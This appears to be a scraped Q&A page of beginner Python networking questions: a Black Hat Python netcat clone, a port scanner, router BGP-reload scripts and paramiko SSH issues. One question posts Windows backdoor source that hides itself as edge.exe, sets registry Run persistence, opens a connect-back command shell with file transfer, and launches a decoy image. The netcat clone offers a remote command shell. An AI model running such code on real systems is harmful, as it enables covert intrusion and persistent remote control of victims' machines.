Probelms: Recreating Netcat in Python3 using the Blackhat Python Book - python-3.x

help I am a beginner, I am running kali on AWS free tier, i am trying to recreate netcat using python. I was able to compile it but only the -h command works when i run it, its not listening(-l). please help. am adding some random text because its not letting me submit this question. i am using the book blackhat python and a you-tube series on it
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT)
return output.decode()
# the engine of netcat
class Netcat:
def __init__(self,args,buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, sock.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
#if we are not running a listener
def send(self):
self.socket.connect((self.args.target , self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 4096:
break
if response:
print(response)
buffer = input('>')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()
#if we are running a listener
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_threading = threading.Thread(target=self.handle,args=(client_socket,))
client_threading.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
#if argument for file upload is passed
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
print(len(file_buffer))
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = b''
while True:
try:
client.socket.send(b' #> ' )
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='BHP Net Tool',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''Example:
netcat.py -t 192.16.1.108 -p 5555 -l -c #command shell
netcat.py -t 192.16.1.108 -p 5555 -l -u=mytest.text #uplod file
netcat.py -t 192.16.1.108 -p 5555 -l -e=\"cat /etc/passwd\" #execute command
echo 'ABC' | ./netcat.py -t 192.16.1.108 -p 135 #echo text to server port 135
netcat.py -t 192.16.1.108 -p 5555 #connect to server
'''))
parser.add_argument('-c', '--command', action='store_true', help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int,default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())

You don't call the run function at any point of the script.
Also here you made a simple syntax error:
[...]
elif self.args.command:
cmd_buffer = b''
while True:
try:
client.socket.send(b' #> ' )
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'server killed {e}')
self.socket.close()
sys.exit()
It's client_socket.send(b' #> ' ) not client.socket.send(b' #> ' ).
Hope I've been helpful!

Related

i am new to python below codes shows error that :AttributeError: module 'sys' has no attribute '_MEIPASS' [duplicate]

This question already has answers here:
What is sys._MEIPASS in Python
(3 answers)
Closed 1 year ago.
#client side
import socket
import subprocess
import json
import os
import base64
import sys
import shutil
class Backdoor:
def __init__(self, ip, port):
self.presistence()
self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect((ip,port))
def presistence(self):
virus_file_location =os.environ["appdata"]+"\\edge.exe"
if not os.path.exists(virus_file_location):
shutil.copyfile(sys.executable,virus_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v tata /t REG_SZ /d "' + virus_file_location +'" ',shell=True)
def execute_command(self, command):
NULL = open(os.devnull,'wb')
return subprocess.check_output(command,shell =True, stderr=NULL, stdin=NULL)
def box_send(self, data):
json_data = json.dumps(data)
self.connection.send(b"json_data")
def change_directory(self, path):
os.chdir(path)
return "[+] changing directory to "+path
def box_receive(self):
json_data = " "
while True:
try:
json_data = json_data + str(self.connection.recv(1024))
return json.loads(json_data)
except ValueError:
continue
def read_file(self,path):
with open(path,"rb") as file:
return base64.b64decode(file.read())
def write_file(self,file_name,content):
with open(file_name,"wb") as file:
return "[+] upload successful"
def run(self):
while True:
command = self.box_receive()
try:
if command[0] =="exit":
self.connection.close()
sys.exit()
elif command[0] == "cd" and len(command) >1:
command_result = self.change_directory(command[1])
elif command[0] =="download":
command_result = self.read_file(command[1])
elif command[0] == "upload":
command_result = self.write_file(command[1],command[2])
else:
command_result = self.execute_command(command)
except Exception:
command_result = "[+] Error while running this command"
self.box_send(command_result)
file_name = sys._MEIPASS + "/sample.jpg"
subprocess.Popen(file_name, shell=True)
try:
backdoor = Backdoor("192.168.2.112", 4444)
backdoor.run()
except Exception:
sys.exit()
You import the module sys, then try to reference a non-existing attribute called _MEIPASS with:
file_name = sys._MEIPASS + "/sample.jpg"

Unicode error for python echo server when "Ctrl+C" pressed

I have created python echo server. The echo server can be started using command
sudo python3.8 echo_server.py
The client can be connected to it using command
telnet localhost 5000
I have implemented some commands like time,exit and network (i.e. if you type 'time' command on telnet client, the server responds with system time.)
For "network" command contain 3 while loops (i.e 1 loop for selecting network type, 2 loop for selecting static\dynamic, 3 loop for configuring ssid/password for wifi settings).
Now while configuring ssid/pwd, I wanted to go back to main command prompt for telnet client (i.e. where we can enter time,network command) on press of "Ctrl+c". But I am not able to handle the "Ctrl+c" on the echo server.I am getting below exception when "Ctrl+c" is pressed on telnet client
Exception in thread MyThread:
Traceback (most recent call last):
File "/usr/lib/python3.8/threading.py", line 932, in _bootstrap_inner
self.run()
File "echo_server.py", line 47, in run
tx_data = ""
File "/usr/lib/python3.8/codecs.py", line 322, in decode
(result, consumed) = self._buffer_decode(data, self.errors, final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte
Main Terminating...
Please find my echo_server.py file
import socket
import os
import os.path
import subprocess
import time
from subprocess import Popen, PIPE, STDOUT
from threading import Thread
from time import sleep
class MyThread(Thread):
def __init__(self, val):
''' Constructor. '''
Thread.__init__(self)
self.val = val
class Filter:
"""Substitute \n with \r\n in stream output to terminal."""
def __init__(self, file):
self.file = file
def write(self, data):
self.file.write(data.replace("\n", "\r\n"))
def run(self):
while True:
HOST = '' # Symbolic name meaning all available interfaces
PORT = 5000 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind((HOST, PORT))
s.listen(5)
except socket.error:
time.sleep(5)
continue
conn, addr = s.accept()
file = conn.makefile(mode="rw")
filtered_file =MyThread.Filter(file)
file.flush()
filtered_file.write("Enter 'help' to list all valid commands\n")
while True:
file.write("Command> ")
file.flush()
data = file.readline()
tx_data = ""
if not data: break
data = data.strip()
if not data:
continue
elif data == 'time':
f= os.popen('date')
date=f.read().strip()
tx_data = date + '\n'
elif data == "network":
while True:
file.write("1. WiFi\n")
file.flush()
file.write("2. Ethenet\n")
file.flush()
file.write("3. Exi\n")
file.flush()
file.write("Enter a choice:")
file.flush()
choice = file.readline()
choice = choice.strip()
if choice == "1":
while True:
file.write("1. DHCP\n")
file.flush()
file.write("2. Static\n")
file.flush()
file.write("3. Exit\n")
file.flush()
file.write("Enter a choice:")
file.flush()
subchoice = file.readline()
subchoice = choice.strip()
if subchoice == "1":
while True:
file.write("Enter ssid:")
file.flush()
ssid = file.readline()
ssid = ssid.strip()
file.write("Enter pwd:")
file.flush()
pwd = file.readline()
pwd = pwd.strip()
break
break
elif choice == "2":
break
elif choice == "3":
break
else:
break
elif data == 'help':
tx_data = '''Valid commands are as below:
Enter number against the command for execution
1. time
2. network
3. exit\n'''
elif data == 'exit':
break
else:
tx_data = "Unknown Command: " + data + \
"\nEnter 'help' for list of valid commands\n"
filtered_file.write(tx_data)
#print 'Closing connection with client'
file.close()
conn.close()
# Run following code when the program starts
if __name__ == '__main__':
# Declare objects of My Thread class
my_obj = MyThread(4)
my_obj.setName('MyThread')
# Start running the threads!
my_obj.start()
# Wait for the threads to finish...
my_obj.join()
print('Main Terminating...')
I am not sure how to handle "Ctrl+c" so that control is back at the prompt when we can enter command.
Please let me know if any one has any suggestion to resolve this.
Here is my version of your program:
# echo_server.py
import socket
import os
import os.path
import subprocess
import time
from subprocess import Popen, PIPE, STDOUT
from threading import Thread
from time import sleep
def getcommand(thisfile, thisprompt, stripped=True):
thisfile.write(thisprompt)
thisfile.flush()
command = thisfile.readline()[:-1]
# print(f"{len(command)} chars received") # just for debug
# for i in command:
# print(ord(i))
if stripped:
return command.strip()
return command
class MyThread(Thread):
def __init__(self, val):
''' Constructor. '''
Thread.__init__(self)
self.val = val
class Filter:
"""Substitute \n with \r\n in stream output to terminal."""
def __init__(self, file):
self.file = file
def write(self, data):
self.file.write(data.replace("\n", "\r\n"))
def run(self):
while True:
HOST = '' # Symbolic name meaning all available interfaces
PORT = 5000 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind((HOST, PORT))
s.listen(5)
except socket.error:
time.sleep(5)
continue
conn, addr = s.accept()
file = conn.makefile(mode="rw", encoding="UTF-8", errors="ignore")
filtered_file = MyThread.Filter(file)
file.flush()
filtered_file.write("Enter 'help' to list all valid commands\n")
while True:
data = getcommand(file, "Command> ", stripped=False)
tx_data = ""
if not data:
print("No Command!")
break # closing connection
data = data.strip()
if not data:
print("Just Spaces!")
continue
elif data == 'time':
f= os.popen('date')
date=f.read().strip()
tx_data = date + '\n'
elif data == "network":
while True:
file.write("1. WiFi\n")
file.flush()
file.write("2. Ethernet\n")
file.flush()
file.write("3. Exit\n")
file.flush()
choice = getcommand(file, "Enter a choice:")
if choice == "1":
while True:
file.write("1. DHCP\n")
file.flush()
file.write("2. Static\n")
file.flush()
file.write("3. Exit\n")
file.flush()
subchoice = getcommand(file, "Enter a choice:")
if subchoice == "1":
while True:
ssid = getcommand(file, "Enter ssid:")
pwd = getcommand(file, "Enter password:")
if ssid and pwd:
break
break
elif choice == "2":
break
elif choice == "3":
break
elif data == 'help':
tx_data = '''Valid commands are as below:
Enter number against the command for execution
1. time
2. network
3. exit\n'''
elif data == 'exit':
break
else:
tx_data = "Unknown Command: " + data + \
"\nEnter 'help' for list of valid commands\n"
filtered_file.write(tx_data)
print('Closing connection with client')
file.close()
conn.close()
# Run following code when the program starts
if __name__ == '__main__':
# Declare objects of My Thread class
my_obj = MyThread(4)
my_obj.setName('MyThread')
# Start running the threads!
my_obj.start()
# Wait for the threads to finish...
my_obj.join()
print('Main Terminating...')
I made a new function to handle the input of text from the terminal. This function strips the new line char appended by readline() and optionally strips leading and trailing blanks from the input string. This enables your choice to close the connection if the user enters no data, while keeping it open and repeating the prompt if s/he just enters whitespace.
I also used the 'errors' optional argument in conn.makefile(), to avoid the UnicodeDecodeError, and added a line to repeat the input of ssid and password if either is blank. I also removed the else clause when the main choice is "network", to let the user out only by choosing 3.
With this version, there's no need to use Ctrl-C (that also has a meaning as KeyboardInterrupt) and if the user entered it, it wouldn't disrupt the server anymore.
Now, if you press Ctrl-C in the client, you stop receiving the server's output, but if you blindly enter the "exit" choices you get out of the connection gracefully.
Because ctrl-c not a unicode character and _io.TextIOWrapper (your file variable) can't handle it in unicode mode.
You can initialize wrapper in non unicode mode
file = conn.makefile(mode="rw",encoding='latin-1')
This will not disconnect client by ctrl-c and you should handle all special characters by your self (because telnet will still send it)
I changed your code to handle decoder errors as is. This will disconnect client on ctrl-c
while True:
file.write("Command> ")
file.flush()
try:
data = file.readline()
except UnicodeDecodeError as e:
conn.close()
break;
tx_data = ""
#if not data: break <-- This will throw error data undefined
data = data.strip()
Actually better solution not to use text wrapper at all
data = conn.recv(1024)
if not data: break
you have to initialize wrapper in other encoding type, use encoding = "latin-1"

Port scanner shows module error, what is this relating to?

I'm going through the book violent python and using some examples from github to write the code in python 3. All has been going well for the most port but on the port scanner program I'm running into this repeated error module 'socket' has no attribute 'SOCKET_STREAM'. I have tried searching for this but most of the examples I've seen don't relate.
I've tried coding this on windows and Linux although I don't believe it's an OS issue.
#!/bin/bash/python 3.7
import argparse
import binascii
import socket
import threading
screen_lock = threading.Semaphore(value=1)
def conn_scan(target_host, target_port):
conn_skt = socket.socket(socket.AF_INET, socket.SOCKET_STREAM)
error = conn_skt.connect_ex(target_host, target_port)
screen_lock.aquire()
if not error:
print("[*] %d tcp open, " % target_port)
else:
print("[*] %d tcp closed." % target_port)
screen_lock.release()
conn_skt.close()
def ban_scan(target_host, target_port):
try:
conn_skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn_skt.connect(target_host, target_port)
conn_skt.send(b'ViolentPython3\r\n')
conn_skt.recv(100)
screen_lock.aquire()
print("[+] %d/tcp open " % target_port)
except Exception:
print("[-] %d/tcp closed " % target_port)
finally:
screen_lock.release()
conn_skt.close()
def initiate_scan(target_host, target_ports):
try:
target_IP = socket.gethostbyname(target_host)
except Exception:
print("[-] Cannot resolve '%s': Unknown host" % target_host)
return
try:
target_name = socket.gethostbyaddr(target_IP)
print("\n[+] Scan results for: " + target_name[0])
except Exception:
print("\n[+] Scan results for : " + target_IP)
socket.setdefaulttimeout(1)
for target_port in target_ports:
print("Scanning port " + target_port)
t = threading.Thread(target=conn_scan, args=(target_host, int(target_port)))
t.start()
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-H', '--host', help='specify target host')
parser.add_argument('-P', '--port', help='specify target ports separated by comma')
args = parser.parse_args()
target_host = args.host
target_ports = str(args.port).split(',')
if(target_host is None) | (target_ports[0] is None):
parser.print_help()
exit(0)
initiate_scan(target_host, target_ports)
if __name__ == '__main__':
main()
Should show output of the port scan

Check BGP status

I recently had an interview and was asked to write a code that logs into 3 routers and reloads each, one at a time - checks that BGP is established and the interfaces are up before moving to reload the next device. We have been provided an imported module that can SSH into the router and reload it. Thoughts anyone? I'm new to Python
Though a module was provided for SSH, I started by coding it out and here is what I tired; just to give an idea of how the router works and what I am checking for:
import socket
import paramiko
def run_ssh_command(username, password, host, command):
"""
Using paramiko to SSH into remote locations and run commands
"""
port = 22
s = paramiko.SSHClient()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
s.connect(host, port, username, password, look_for_keys=False, timeout=5.0)
except paramiko.AuthenticationException as e:
print("authentication failed: ", e)
s.close()
return
except socket.timeout as e:
print("socket timeout: ", e)
s.close()
return
except paramiko.SSHException as e:
print("SSH Exception: ", e)
s.close()
return
except socket.error as e:
print("socket error: ", e)
s.close()
return
(stdin, stdout, stderr) = s.exec_command(command)
print ("ran command ", command)
# for line in stdout.readlines():
# print(line)
s.close()
if __name__ == "__main__":
while True:
run_ssh_command("CompRouter", "backbonedevice", "10.10.10.25", "show ip bgp summary")
So my line of thought is to SSH to the device, issue a "show ip bgp summary" command - this is what the table typically looks like:
Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down Statd
10.10.10.2 4 65536 7 7 1 0 0 00:03:04 0
The idea is to check that the InQ/OutQ values are zero or non of the BGP neighbor are "Down", then and only then do I move to reload the next router.
This is particularly where I am stuck. Given a table like this, how to I check the entire InQ/OutQ column (there might be more than one neighbor) and then take the necessary action?
Opted to use napalm and netmiko - works like a charm:
from simplecrypt import encrypt, decrypt
from pprint import pprint
from netmiko import ConnectHandler
from napalm import get_network_driver
import json
#from time import time
import time
def read_device_data(devices_filename):
devices = {} #Create a dictionary for each IP's unique info
with open(devices_filename) as device_info:
for lines in device_info:
this_dev = lines.strip().split(',')
dev = {'ipaddr': this_dev[0],
'type': this_dev[1],
'name': this_dev[2]}
devices[dev['ipaddr']] = dev
print('Displaying info for all devices below: ')
pprint(devices)
return devices
#Create a function to decrypt and read file containing credentials encrypted in the format ip,username,password
def read_device_creds(device_cred_filename, key):
print('\n Decoding encrypted device credentials....')
with open(device_cred_filename, 'rb') as device_creds_file:
device_creds_decry = decrypt(key, device_creds_file.read())
device_creds_list = json.loads(device_creds_decry.decode('utf-8'))
pprint(device_creds_list)
print('\n Displaying device credentials in dictionary format:')
"""
Convert device_creds_list to dictionary using list comprehension
"""
device_creds_dict = {this_dev[0]: this_dev for this_dev in device_creds_list}
print(device_creds_dict)
return device_creds_dict
def check_BGP(net_device, cred):
print(f"Connecting to {net_device['ipaddr']} right now to check BGP status.....")
while True:
try:
driver = get_network_driver('ios')
iosv = driver(net_device['ipaddr'], cred[1], cred[2])
iosv.open()
except:
print('Waiting to establish a socket...')
else:
time.sleep(30)
ios_output = iosv.get_bgp_neighbors()
for k,v in ios_output.items():
for y in v.values():
if type(y) == dict:
for z in y.values():
print(f"BGP peer is up? {z['is_up']}")
return z['is_up'] == True
def reload(creds):
iosv_device = {
'device_type': 'cisco_ios',
'ip': creds[0],
'username': creds[1],
'password': creds[2]
}
net_connect = ConnectHandler(**iosv_device)
output = net_connect.send_command_timing('wr mem')
time.sleep(10)
output += net_connect.send_command_timing('reload')
output += net_connect.send_command_timing('y')
print(output)
def is_alive(alive_dev, alive_cred): #check if device is back online after reload
while True:
try:
driver = get_network_driver('ios')
iosvl2 = driver(alive_dev['ipaddr'], alive_cred[1], alive_cred[2])
iosvl2.open()
except:
print(f"Attempting to reconnect to {alive_cred[0]}")
else:
alive_output = iosvl2.is_alive()
print(alive_output)
return alive_output['is_alive'] == True
break
if __name__ == '__main__':
net_devices = read_device_data('devices_data')
net_creds = read_device_creds('encrypted_device_creds', 'cisco')
# starting_time = time()
for ipadd, device_info in net_devices.items():
print(net_devices.items())
while True:
print (f'Connecting to: {ipadd}')
if check_BGP(device_info, net_creds[ipadd]) == True:
print(f'Reloading {ipadd} now')
reload(net_creds[ipadd])
else:
print(f'Re-checking BGP on {ipadd}')
if is_alive(device_info, net_creds[ipadd]) == True and check_BGP(device_info, net_creds[ipadd]) == True:
print(f'{ipadd} back online and BGP OK!')
break
else:
print('Router down or BGP failed to reconverged; exiting script')
break
# print ('\n---- End get config sequential, elapsed time=', time() - starting_time)
In the example below, I wrote a code that detects BGP route limits. Its purpose is to calculate the route limit rate by learning the information under the Interfaces. In this regard, I recommend the TTP module, where you can create your own templates.
from netmiko import ConnectHandler
from getpass import getpass
from pprint import pprint
from ttp import ttp
from genie.testbed import load
from pprint import pprint
import json
import time
from multiprocessing.dummy import Pool as ThreadPool
from netmiko import Netmiko
#**************************************************************************************************************************
with open("user_pass.txt", "r") as f5:
user_pass = f5.readlines()
for list_user_pass in user_pass:
if "username" in list_user_pass:
username = list_user_pass.split(":")[1].strip()
if "password" in list_user_pass:
password = list_user_pass.split(":")[1].strip()
def _ssh_(nodeip):
try:
huawei = {
'device_type': 'huawei', 'ip': nodeip, 'username':
username, 'password': password, }
con = Netmiko(**huawei)
print(nodeip.strip() + " " + "basarili giris")
except Exception as e:
print(e)
f_3.write(nodeip.strip() + "\n")
return
#**************************************************************************************************************************
data_to_parse_0 = con.send_command_timing('display ip vpn-instance | ignore-case i Customer_A')
print(data_to_parse_0)
ttp_template_0 ="""
{{Customer_Name}} {{nodeip}} {{IPV4}}
"""
parser_0 = ttp(data=data_to_parse_0, template=ttp_template_0)
parser_0.parse()
#print result in JSON format
results_0 = parser_0.result(format='json')[0]
print(results_0)
#str to list **convert with json.loads
result_0 = json.loads(results_0)
print(result_0[0]["Customer_Name"])
#**************************************************************************************************************************
data_to_parse = con.send_command_timing("display current-configuration configuration vpn-instance {}".format(result_0[0]["Customer_Name"]))
print(data_to_parse)
ttp_template ="""
{{routing-table}} limit {{ total_number | DIGIT }} {{total_number2}}
"""
parser = ttp(data=data_to_parse, template=ttp_template)
parser.parse()
#print result in JSON format
results = parser.result(format='json')[0]
print(results)
#str to list **convert with json.loads
result = json.loads(results)
print(result)
#**************************************************************************************************************************
data_to_parse_2 = con.send_command_timing('dis ip routing-table vpn-instance' + " " + result_0[0]["Customer_Name"] + " " + " statistics | i Summary Prefixes")
print(data_to_parse_2)
ttp_template_2 ="""
Summary Prefixes : {{ used_number | DIGIT }}
"""
parser2 = ttp(data=data_to_parse_2, template=ttp_template_2)
parser2.parse()
#print result in JSON format
results2 = parser2.result(format='json')[0]
print(results2)
#str to list **convert with json.loads
result2 = json.loads(results2)
print(result2[0]["used_number"])
#**************************************************************************************************************************
result3 = (int(result2[0]["used_number"]) / int(result[0]["total_number"])) * 100
print(int(result3))
with open("vrf_limit_result.txt", "a") as f:
f.write("Customer_Result" +"_" + nodeip +"==>" + str(result3)+ "\n")
f.close()
#**************************************************************************************************************************
f_2 = open("ip_list.txt", "r")
ip_list = f_2.readlines()
f_2.close()
f_3 = open("Ssh_unconnected_2.txt", "w")
# Therading method
myPool = ThreadPool(100)
result = myPool.map(_ssh_, ip_list)

the SSHClient.Close() method of paramiko need to wait?

everyone.
I use the parmiko with python 3.3.3 x64 on window 7 x64, the following is my code, and the strange is I need add time.sleep(0.01) for delay before using client.close() to end the session. Otherwise, a lot of processes will be existed in the SSH host and could not end automatically.
Could anyone do me a favor to explain these?
The paramiko used for python3:
(https://travis-ci.org/nischu7/paramiko)
Here is the steps for repeat:
A)remove the time.sleep(0.01) before client.close() and run the script
B)type the password for the SSH host
C)type the first command, for example: ls -la
D)type the command very frequently, for example, keep pressing the up-arrow and enter alternatively very fast with several times
E)when using ps -ef | grep dropbear (the SSH server, I have not tested about OpenSSH), a lot of processes exists
F) type exit and Ctrl + Z to terminate the script
G)keep the time.sleep(0.01) before client.close() and run the script again
H)do the above steps of B, C, D, then check with ps -ef | grep dropbear again, only one SSH process will generate by this script.
and here is the code:
from tkinter import *
from threading import Thread
from queue import Queue, Empty
import _thread
import time
from paramiko import SSHClient, Transport, AutoAddPolicy, WarningPolicy
import getpass
def start(client):
try :
client.connect(hostname='127.0.0.1', port=22, username='ubuntu', password=pw)
return True
except Exception as e:
client.close()
print(e)
return False
def check(client,outqueue):
while start(client):
outqueue.put("Command to run: ")
cmd = input()
if cmd == "exit":
client.close()
break
chan = client.get_transport().open_session()
outqueue.put("running '%s'" % cmd)
chan.exec_command(cmd)
while True:
if chan.recv_ready():
data = chan.recv(4096).decode('ascii')
outqueue.put("recv:\n%s" %data)
if chan.recv_stderr_ready():
error = chan.recv_stderr(4096).decode('ascii')
outqueue.put("error:\n%s" %error)
if chan.exit_status_ready():
exitcode = chan.recv_exit_status()
outqueue.put("exit status: %s" %exitcode)
#print('close s')
#print(client.close())
time.sleep(0.01)
client.close()
#print('close e')
#time.sleep(0.05)
break
def reader(outqueue):
while True:
while outqueue.qsize():
try:
data = outqueue.get()
if data:
print(data)
except Excetpiton as e:
print(e)
#continue
#time.sleep(0.5)
if __name__=='__main__':
pw = getpass.getpass()
client = SSHClient()
client.set_missing_host_key_policy(WarningPolicy())
#client.set_missing_host_key_policy(AutoAddPolicy())
outqueue = Queue()
r = Thread(target=reader,args=(outqueue,))
r.daemon = True
r.start()
t = Thread(target=check,args=(client,outqueue,))
#t.daemon = True
t.start()
t.join()
It's a mistake, I start the client more than one time, so solved by the following:
from threading import Thread
from queue import Queue, Empty
import _thread
import time
from paramiko import SSHClient, Transport, AutoAddPolicy, WarningPolicy
import getpass
def start(client):
try :
client.connect(hostname='127.0.0.1', port=22, username='ubuntu', password=pw)
return True
except Exception as e:
client.close()
print(e)
return False
def check(client,outqueue):
while True:
outqueue.put("Command to run: ")
cmd = input()
if cmd == "exit":
client.close()
break
chan = client.get_transport().open_session()
outqueue.put("running '%s'" % cmd)
chan.exec_command(cmd)
while True:
if chan.recv_ready():
data = chan.recv(4096).decode('ascii')
outqueue.put("recv:\n%s" %data)
if chan.recv_stderr_ready():
error = chan.recv_stderr(4096).decode('ascii')
outqueue.put("error:\n%s" %error)
if chan.exit_status_ready():
exitcode = chan.recv_exit_status()
outqueue.put("exit status: %s" %exitcode)
#print('close s')
#print(client.close())
#time.sleep(0.01)
#client.close()
#print('close e')
#time.sleep(0.05)
break
def reader(outqueue):
while True:
while outqueue.qsize():
try:
data = outqueue.get()
if data:
print(data)
except Excetpiton as e:
print(e)
#continue
#time.sleep(0.5)
if __name__=='__main__':
pw = getpass.getpass()
client = SSHClient()
client.set_missing_host_key_policy(WarningPolicy())
#client.set_missing_host_key_policy(AutoAddPolicy())
if not start(client):
#os._exit(0)
sys.exit(0)
outqueue = Queue()
r = Thread(target=reader,args=(outqueue,))
r.daemon = True
r.start()
t = Thread(target=check,args=(client,outqueue,))
#t.daemon = True
t.start()
t.join()

Resources